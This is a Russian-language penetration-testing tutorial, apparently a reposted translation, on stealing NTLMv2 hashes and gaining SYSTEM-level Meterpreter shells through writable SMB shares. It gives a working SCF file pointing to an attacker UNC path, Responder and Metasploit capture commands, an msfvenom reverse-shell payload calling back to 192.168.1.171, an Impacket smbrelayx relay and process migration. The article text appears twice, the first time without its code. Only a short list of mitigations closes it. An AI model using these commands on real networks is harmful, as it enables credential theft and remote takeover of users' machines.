SMB - это протокол, который широко используется в организациях для обмена файлами. Во время внутренних тестов на проникновение нередко обнаруживают общий файловый ресурс, который содержит конфиденциальную информацию, такую как текстовые пароли и строки подключения к базе данных. Однако даже если общий файловый ресурс не содержит каких-либо данных, которые можно было бы использовать для подключения к другим системам, но он настроен с разрешениями на запись для неаутентифицированных пользователей, то можно получить хэши паролей пользователей домена или оболочку Meterpreter.
Сбор хешей
Не ново, что файлы SCF (Shell Command Files) могут использоваться для выполнения ограниченного набора операций, таких как показ рабочего стола Windows или открытие проводника Windows. Однако файл SCF можно использовать для доступа к определенному пути UNC, который позволяет тестеру проникновения выстроить атаку. Приведенный ниже код можно поместить в текстовый файл, который затем необходимо поместить в общий сетевой ресурс.
Файл SCF - Содержание
Сохранение файла pentestlab.txt в виде файла SCF приведет к выполнению файла при просмотре файла пользователем. Добавление символа @ перед именем файла поместит файл pentestlab.scf в верхнюю часть общего диска.
Файл SCF
Ответчик должен быть выполнен со следующими параметрами, чтобы захватить хеши пользователей, которые будут просматривать общий ресурс.
Респондент - Параметры для SCF
Когда пользователь просматривает общий ресурс, автоматически устанавливается соединение из его системы по пути UNC, который содержится в файле SCF. Windows попытается пройти аутентификацию на этом ресурсе с помощью имени пользователя и пароля пользователя. Во время этого процесса аутентификации случайный 8-байтовый ключ вызова отправляется с сервера клиенту, и хешированный пароль NTLM / LANMAN снова шифруется с помощью этого ключа вызова. Респондент захватит хэш NTLMv2.
Ответчик - NTLMv2 через SCF
В качестве альтернативы Responder в Metasploit Framework есть модуль, который можно использовать для захвата хэшей паролей «запрос-ответ» от клиентов SMB.
Metasploit - модуль захвата SMB
Как и ранее, когда пользователь будет просматривать ту же общую папку, его хэш пароля будет перехвачен Metasploit.
Metasploit - NTLMv2 захвачен
Если политика паролей внутри компании достаточна, злоумышленнику потребуется несколько дней или недель, чтобы взломать захваченный хеш.
В Meterpreter
Основное преимущество описанного выше метода заключается в том, что он не требует какого-либо взаимодействия с пользователем и автоматически заставляет пользователя подключаться к общему ресурсу, не согласовав его хэш NTLMv2. Поэтому также возможно объединить этот метод с ретрансляцией SMB, которая будет обслуживать полезную нагрузку, чтобы получить оболочку Meterpreter от каждого пользователя, который будет иметь доступ к общему ресурсу.
MSFVenom может использоваться для генерации полезной нагрузки, которую он будет выполнять на цели:
MSFVenom - Генерация полезной нагрузки для SMB Relay
Coresecurity выпустила набор скриптов Python под названием Impacket, которые могут выполнять различные атаки на протоколы Windows, такие как SMB. С помощью скрипта Python smbrelayx можно настроить и SMB-сервер, который будет обслуживать полезную нагрузку, когда целевой хост попытается подключиться. Это будет выполнено автоматически, поскольку SCF-файл заставит каждого пользователя подключаться к несуществующему общему ресурсу со своими учетными данными.
Impacket - сервер ретрансляции SMB
Необходимо также использовать Metasploit Framework, чтобы получить обратно соединение после выполнения файла pentestlab.exe на целевом устройстве.
Модуль должен быть настроен с теми же параметрами, что и сгенерированная полезная нагрузка.
Metasploit - Многофункциональный модуль
Когда пользователь просматривает общий ресурс, SMB-сервер получит соединение и будет использовать имя пользователя и хэш пароля для аутентификации в своей системе и выполнения полезной нагрузки для общего ресурса с возможностью записи.
Impacket - SMB Relay Attack
Сеанс Meterpreter будет получен. Однако во избежание потери соединения необходимо перейти на более стабильный процесс.
Meterpreter - список запущенных процессов
Необходимо использовать команду migrate и идентификатор процесса.
Meterpreter - процесс миграции
В этом примере процесс 1600 соответствует процессу svchost.exe, который выполняется с привилегиями SYSTEM.
Meterpreter - список процессов для миграции
Запуск getuid из Meterpreter консоли будет получить текущий UID , который теперь SYSTEM.
Meterpreter - Получить текущий UID
Та же атака может быть реализована с помощью инфраструктуры Metasploit.
Metasploit - модуль реле SMB
Будет установлен SMB-сервер, который будет аутентифицироваться с целью с использованием имени пользователя и хэша пароля, доставить полезную нагрузку на доступный для записи общий ресурс, выполнить полезную нагрузку с правами пользователя в качестве службы, выполнить очистку и провести сеанс Meterpreter.
Metasploit - SMB Relay Attack
Взаимодействие с существующими сеансами может осуществляться с помощью команды сеансов .
Metasploit - Ретрансляции SMB
Вывод
Этот метод использует то, что действительно распространено во всех сетях, таких как общие ресурсы, для получения хэшей паролей и получения оболочек meterpreter. Единственное требование заключается в том, что пользователю необходимо просмотреть общий ресурс, содержащий вредоносный файл SCF. Однако эти атаки можно предотвратить, выполнив следующие действия:
Сбор хешей
Не ново, что файлы SCF (Shell Command Files) могут использоваться для выполнения ограниченного набора операций, таких как показ рабочего стола Windows или открытие проводника Windows. Однако файл SCF можно использовать для доступа к определенному пути UNC, который позволяет тестеру проникновения выстроить атаку. Приведенный ниже код можно поместить в текстовый файл, который затем необходимо поместить в общий сетевой ресурс.
Код:
[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
Файл SCF - Содержание
Сохранение файла pentestlab.txt в виде файла SCF приведет к выполнению файла при просмотре файла пользователем. Добавление символа @ перед именем файла поместит файл pentestlab.scf в верхнюю часть общего диска.
Файл SCF
Ответчик должен быть выполнен со следующими параметрами, чтобы захватить хеши пользователей, которые будут просматривать общий ресурс.
Код:
responder -wrf --lm -v -I eth0
Респондент - Параметры для SCF
Когда пользователь просматривает общий ресурс, автоматически устанавливается соединение из его системы по пути UNC, который содержится в файле SCF. Windows попытается пройти аутентификацию на этом ресурсе с помощью имени пользователя и пароля пользователя. Во время этого процесса аутентификации случайный 8-байтовый ключ вызова отправляется с сервера клиенту, и хешированный пароль NTLM / LANMAN снова шифруется с помощью этого ключа вызова. Респондент захватит хэш NTLMv2.
Ответчик - NTLMv2 через SCF
В качестве альтернативы Responder в Metasploit Framework есть модуль, который можно использовать для захвата хэшей паролей «запрос-ответ» от клиентов SMB.
Код:
auxiliary/server/capture/smb
Metasploit - модуль захвата SMB
Как и ранее, когда пользователь будет просматривать ту же общую папку, его хэш пароля будет перехвачен Metasploit.
Metasploit - NTLMv2 захвачен
Если политика паролей внутри компании достаточна, злоумышленнику потребуется несколько дней или недель, чтобы взломать захваченный хеш.
В Meterpreter
Основное преимущество описанного выше метода заключается в том, что он не требует какого-либо взаимодействия с пользователем и автоматически заставляет пользователя подключаться к общему ресурсу, не согласовав его хэш NTLMv2. Поэтому также возможно объединить этот метод с ретрансляцией SMB, которая будет обслуживать полезную нагрузку, чтобы получить оболочку Meterpreter от каждого пользователя, который будет иметь доступ к общему ресурсу.
MSFVenom может использоваться для генерации полезной нагрузки, которую он будет выполнять на цели:
Код:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.171 LPORT=5555 -f exe > pentestlab.exe
MSFVenom - Генерация полезной нагрузки для SMB Relay
Coresecurity выпустила набор скриптов Python под названием Impacket, которые могут выполнять различные атаки на протоколы Windows, такие как SMB. С помощью скрипта Python smbrelayx можно настроить и SMB-сервер, который будет обслуживать полезную нагрузку, когда целевой хост попытается подключиться. Это будет выполнено автоматически, поскольку SCF-файл заставит каждого пользователя подключаться к несуществующему общему ресурсу со своими учетными данными.
Код:
./smbrelayx.py -h Target-IP -e ./pentestlab.exe
Impacket - сервер ретрансляции SMB
Необходимо также использовать Metasploit Framework, чтобы получить обратно соединение после выполнения файла pentestlab.exe на целевом устройстве.
Код:
exploit/multi/handler
Модуль должен быть настроен с теми же параметрами, что и сгенерированная полезная нагрузка.
Код:
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.171
set LPORT 5555
exploit
Metasploit - Многофункциональный модуль
Когда пользователь просматривает общий ресурс, SMB-сервер получит соединение и будет использовать имя пользователя и хэш пароля для аутентификации в своей системе и выполнения полезной нагрузки для общего ресурса с возможностью записи.
Impacket - SMB Relay Attack
Сеанс Meterpreter будет получен. Однако во избежание потери соединения необходимо перейти на более стабильный процесс.
Meterpreter - список запущенных процессов
Необходимо использовать команду migrate и идентификатор процесса.
Meterpreter - процесс миграции
В этом примере процесс 1600 соответствует процессу svchost.exe, который выполняется с привилегиями SYSTEM.
Meterpreter - список процессов для миграции
Запуск getuid из Meterpreter консоли будет получить текущий UID , который теперь SYSTEM.
Meterpreter - Получить текущий UID
Та же атака может быть реализована с помощью инфраструктуры Metasploit.
Код:
exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.171
exploit
Metasploit - модуль реле SMB
Будет установлен SMB-сервер, который будет аутентифицироваться с целью с использованием имени пользователя и хэша пароля, доставить полезную нагрузку на доступный для записи общий ресурс, выполнить полезную нагрузку с правами пользователя в качестве службы, выполнить очистку и провести сеанс Meterpreter.
Metasploit - SMB Relay Attack
Взаимодействие с существующими сеансами может осуществляться с помощью команды сеансов .
Metasploit - Ретрансляции SMB
Вывод
Этот метод использует то, что действительно распространено во всех сетях, таких как общие ресурсы, для получения хэшей паролей и получения оболочек meterpreter. Единственное требование заключается в том, что пользователю необходимо просмотреть общий ресурс, содержащий вредоносный файл SCF. Однако эти атаки можно предотвратить, выполнив следующие действия:
- Использование аутентификации Kerberos и подписи SMB
- Запретить разрешения на запись в общих файловых ресурсах для не прошедших проверку пользователей
- Убедитесь, что вместо LanMan используется хэш пароля NTLMv2
Ссылка скрыта от гостей